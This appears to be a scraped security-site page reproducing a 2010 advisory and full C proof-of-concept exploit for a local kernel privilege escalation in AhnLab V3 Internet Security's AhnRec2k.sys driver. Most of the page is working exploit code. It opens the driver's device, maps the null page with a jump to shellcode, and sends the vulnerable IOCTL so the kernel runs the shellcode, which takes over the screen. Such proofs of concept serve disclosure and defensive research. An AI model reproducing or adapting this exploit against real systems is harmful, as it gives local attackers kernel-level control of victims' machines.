扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 |
AhnLab V3 Internet Security 8.0withAhnRec2k.sys<= 1.2.0.4 Local Kernel Mode Privilege Escalation Vulnerability AUTHOR MJ0011 EMAIL th_decoder $ 126.com VULNERABLE PRODUCTS AhnLab V3 Internet Security <= 8.0.3.28（build 746) DETAILS: AhnRec2k.sys create a device called "AhnRecDrv" , and handles DeviceIoControl Code = 0x8101261C , which execute user input function pointer in kernel mode. Although AhnRec2k.sys did not create any symbolic link for this device and leave this device's interface for internal use , we can still use native function "ZwCreateFile" to open the device and send request to its . AhnRec2k.sys (1.2.0.4) will check if function pointer below MmHighestUserAddress, but it also can be exploit EXPLOIT CODE: // ahnlab0day.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include "windows.h" typedef LONG NTSTATUS, *PNTSTATUS; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTRBuffer; } UNICODE_STRING; typedef UNICODE_STRING *PUNICODE_STRING; typedef const UNICODE_STRING *PCUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES; typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; typedef struct _IO_STATUS_BLOCK { union { NTSTATUS Status; PVOID Pointer; }; ULONG_PTR Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; typedef NTSTATUS (WINAPI *PNT_CREATE_FILE)( PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength ); typedef NTSTATUS (WINAPI *PNT_CREATE_SYMBOLIC_LINK) ( PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PUNICODE_STRING LinkTarget ); #define RTL_CONSTANT_STRING(s) { sizeof( s ) - sizeof( (s)[0] ), sizeof( s ), s } #define RTL_CONST_CAST(type) (type) UNICODE_STRING uniname = RTL_CONSTANT_STRING(L"\\Device\\AhnRecDrv"); #define OBJ_CASE_INSENSITIVE 0x00000040L #define RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a) { sizeof(OBJECT_ATTRIBUTES), NULL, RTL_CONST_CAST(PUNICODE_STRING)(n), a, NULL, NULL } OBJECT_ATTRIBUTES oba = RTL_CONSTANT_OBJECT_ATTRIBUTES(&uniname , OBJ_CASE_INSENSITIVE); #define FILE_OPEN 0x00000001 #define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 #include "malloc.h" PVOID GetInfoTable(ULONG ATableType) { ULONG mSize = 0x4000; PVOID mPtr = NULL; LONG status; HMODULE hlib = GetModuleHandle("ntdll.dll"); PVOID pZwQuerySystemInformation = GetProcAddress(hlib , "ZwQuerySystemInformation"); do { mPtr = malloc(mSize); if (mPtr) { __asm { push 0 push mSize push mPtr push ATableType call pZwQuerySystemInformation mov status , eax } } else { return NULL; } if (status == 0xc0000004) { free(mPtr); mSize = mSize * 2; } } while (status == 0xc0000004); if (status == 0) { return mPtr; } free(mPtr); return NULL; } enum { SystemModuleInformation = 11, SystemHandleInformation = 16 }; typedef struct { ULONG Unknown1; ULONG Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHARImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef VOID (WINAPI *PINBV_ACQUIRE_DISPLAY_OWNERSHIP)(VOID); typedef BOOLEAN (WINAPI *PINBV_RESET_DISPLAY)(VOID); typedef VOID (WINAPI *PINBV_SOLID_COLOR_FILL)( ULONG x1, ULONG y1, ULONG x2, ULONG y2, ULONG color ); typedef ULONG (WINAPI *PINBV_SET_TEXT_COLOR)( ULONG Color ); typedef VOID (*INBV_DISPLAY_STRING_FILTER)( PUCHAR *Str ); typedef VOID (WINAPI *PINBV_INSTALL_DISPLAY_STRING_FILTER)( INBV_DISPLAY_STRING_FILTER DisplayStringFilter ); typedef BOOLEAN (WINAPI *PINBV_ENABLE_DISPLAY_STRING)( BOOLEAN bEnable ); typedef VOID (WINAPI *PINVB_SET_SCROLL_REGION)( ULONG x1, ULONG y1, ULONG x2, ULONG y2 ); typedef VOID (WINAPI *PINBV_DISPLAY_STRING)( PUCHAR Str ); PINBV_ACQUIRE_DISPLAY_OWNERSHIP InbvAcquireDisplayOwnership = 0 ; PINBV_RESET_DISPLAY InbvResetDisplay = 0 ; PINBV_SOLID_COLOR_FILL InbvSolidColorFill = 0 ; PINBV_SET_TEXT_COLOR InbvSetTextColor = 0 ; PINBV_INSTALL_DISPLAY_STRING_FILTER InbvInstallDisplayStringFilter = 0 ; PINBV_ENABLE_DISPLAY_STRING InbvEnableDisplayString = 0 ; PINVB_SET_SCROLL_REGION InbvSetScrollRegion = 0 ; PINBV_DISPLAY_STRING InbvDisplayString= 0 ; #define VGA_COLOR_BLACK 0 #define VGA_COLOR_RED 1 #define VGA_COLOR_GREEN 2 #define VGA_COLOR_GR 3 #define VGA_COLOR_BULE 4 #define VGA_COLOR_DARK_MEGAENTA 5 #define VGA_COLOR_TURQUOISE 6 #define VGA_COLOR_GRAY 7 #define VGA_COLOR_BRIGHT_GRAY 8 #define VGA_COLOR_BRIGHT_RED 9 #define VGA_COLOR_BRIGHT_GREEN 10 #define VGA_COLOR_BRIGHT_YELLOW 11 #define VGA_COLOR_BRIGHT_BULE 12 #define VGA_COLOR_BRIGHT_PURPLE 13 #define VGA_COLOR_BRIGHT_TURQUOISE 14 #define VGA_COLOR_WHITE 15 UCHAR DisplayString[] = " " " " " " "---- ===== EXPLOIT SUCCESSFULLY ==== ---- " " " " " " AhnLab V3 Internet Security 8.0 Local Privilege Escalation Exploit " " " " VULNERABLE PRODUCT " " " " AhnLab V3 Internet Security <= 8.0.3.28 " " " " " " VULERABLE FILE " " AhnRec2k.sys <= 1.2.0.4 " " " " AUTHOR " " " " MJ0011 " " th_decoder$126.com " " " " 2010-11-9 " " " " " " "; VOID InbvShellCode() { //DISABLE INTERRUPT __asm { cli } //RESET TO VGA MODE InbvAcquireDisplayOwnership(); InbvResetDisplay(); //FILL FULL SCREEN InbvSolidColorFill(0 , 0 , 639 , 479 ,VGA_COLOR_BLACK); //SET TEXT COLOR InbvSetTextColor(VGA_COLOR_BRIGHT_GREEN); InbvInstallDisplayStringFilter(NULL); InbvEnableDisplayString(TRUE); InbvSetScrollRegion( 0 , 0 , 639 ,477); InbvDisplayString(DisplayString); while(TRUE) { }; } BOOL InbvInit(PVOID ntosbase , PSTR ntosname) { HMODULE hlib = LoadLibrary(ntosname); if (hlib == NULL) { return FALSE ; } InbvAcquireDisplayOwnership = (PINBV_ACQUIRE_DISPLAY_OWNERSHIP)((ULONG)GetProcAddress(hlib , "InbvAcquireDisplayOwnership") - (ULONG)hlib + (ULONG)ntosbase); InbvResetDisplay = (PINBV_RESET_DISPLAY)((ULONG)GetProcAddress(hlib , "InbvResetDisplay") - (ULONG)hlib + (ULONG)ntosbase); InbvSolidColorFill = (PINBV_SOLID_COLOR_FILL)((ULONG)GetProcAddress(hlib , "InbvSolidColorFill") - (ULONG)hlib + (ULONG)ntosbase); InbvSetTextColor = (PINBV_SET_TEXT_COLOR)((ULONG)GetProcAddress(hlib , "InbvSetTextColor") - (ULONG)hlib + (ULONG)ntosbase); InbvInstallDisplayStringFilter = (PINBV_INSTALL_DISPLAY_STRING_FILTER)((ULONG)GetProcAddress(hlib , "InbvInstallDisplayStringFilter") - (ULONG)hlib + (ULONG)ntosbase); InbvEnableDisplayString = (PINBV_ENABLE_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvEnableDisplayString") - (ULONG)hlib + (ULONG)ntosbase); InbvSetScrollRegion = (PINVB_SET_SCROLL_REGION)((ULONG)GetProcAddress(hlib , "InbvSetScrollRegion") - (ULONG)hlib + (ULONG)ntosbase); InbvDisplayString = (PINBV_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvDisplayString") - (ULONG)hlib + (ULONG)ntosbase); if (InbvAcquireDisplayOwnership && InbvResetDisplay && InbvSolidColorFill && InbvSetTextColor && InbvInstallDisplayStringFilter && InbvEnableDisplayString && InbvSetScrollRegion && InbvDisplayString) { return TRUE ; } return FALSE ; } typedef LONG (WINAPI *PNT_ALLOCATE_VIRTUAL_MEMORY)( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect ); int main(int argc, char* argv[]) { printf("AhnLab V3 Internet Security <= 8.0.3.28 AhnRec2k.sys <= 1.2.0.4\n" "Local Kernel Mode Privilege Escalation Vulnerability POC\n\n" "Test On Windows XP SP3\n" "by MJ0011 th_decoder$126.com\n" "Press Enter....\n" ); getchar(); PSYSTEM_MODULE_INFORMATION pinfo = (PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation); if (pinfo==0) { printf("cannot get system info\n"); return 0 ; } if (!InbvInit(pinfo->Module[0].Base , strrchr(pinfo->Module[0].ImageName , '\\') + 1)) { printf("cannot init inbv system!\n"); return 0 ; } HMODULE hlib = LoadLibrary(strrchr(pinfo->Module[0].ImageName , '\\') + 1); if (hlib == 0 ) { printf("cannot load ntoskrnl...\n"); getchar(); return 0 ; } PVOID pIoStartPacket = GetProcAddress(hlib , "IoStartPacket"); if (pIoStartPacket == NULL) { printf("IoStartPacket == NULL\n"); getchar(); return 0 ; } ULONG i ; BOOL bFind = FALSE ; for (i = 0 ; i < 0x100 ; i ++) { if (*(WORD*)(i + (ULONG)pIoStartPacket) == 0x50ff && *(BYTE*)((ULONG)pIoStartPacket + i + 2) == 0x30) { bFind = TRUE ; break ; } } if (bFind == FALSE) { printf("cannot find shellcode...\n"); getchar(); return 0 ; } ULONG pbuf = (ULONG)pIoStartPacket - (ULONG)hlib + (ULONG)(pinfo->Module[0].Base) + i; PNT_ALLOCATE_VIRTUAL_MEMORY NTAllocateVM = (PNT_ALLOCATE_VIRTUAL_MEMORY)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtAllocateVirtualMemory"); HANDLE hdev ; IO_STATUS_BLOCK iosb ; NTSTATUS stat ; PVOID BaseAddress = (PVOID)0x1 ; ULONG dwsize = 0x1000 ; LONG status ; status = NTAllocateVM ( GetCurrentProcess() , &BaseAddress , 0 , &dwsize , MEM_COMMIT | MEM_RESERVE , PAGE_READWRITE ); printf("allocate vm at zero %08x\n" , status); memset((PVOID)0x0 , 0x90 , 0x100); *(BYTE*)0x50 = 0xe9 ; *(DWORD*)0x51 = (ULONG)InbvShellCode - 0x50 - 5 ; PNT_CREATE_FILE pfunc = (PNT_CREATE_FILE)GetProcAddress(GetModuleHandle("ntdll.dll") , "ZwCreateFile"); stat = pfunc(&hdev , FILE_READ_ATTRIBUTES | SYNCHRONIZE , &oba , &iosb, 0 , 0 , FILE_SHARE_READ , FILE_OPEN , FILE_SYNCHRONOUS_IO_NONALERT , 0 , 0 ); if (stat != 0 ) { printf("cannot open dev %08x\n", stat); return 0 ; } ULONG btr ; if (!DeviceIoControl(hdev , 0x8101261C , &pbuf , sizeof(ULONG) , 0 ,0 , &btr , 0 )) { printf("cannot dev ctl %u\n",GetLastError()); return 0 ; } return 0; } |
体验盒子
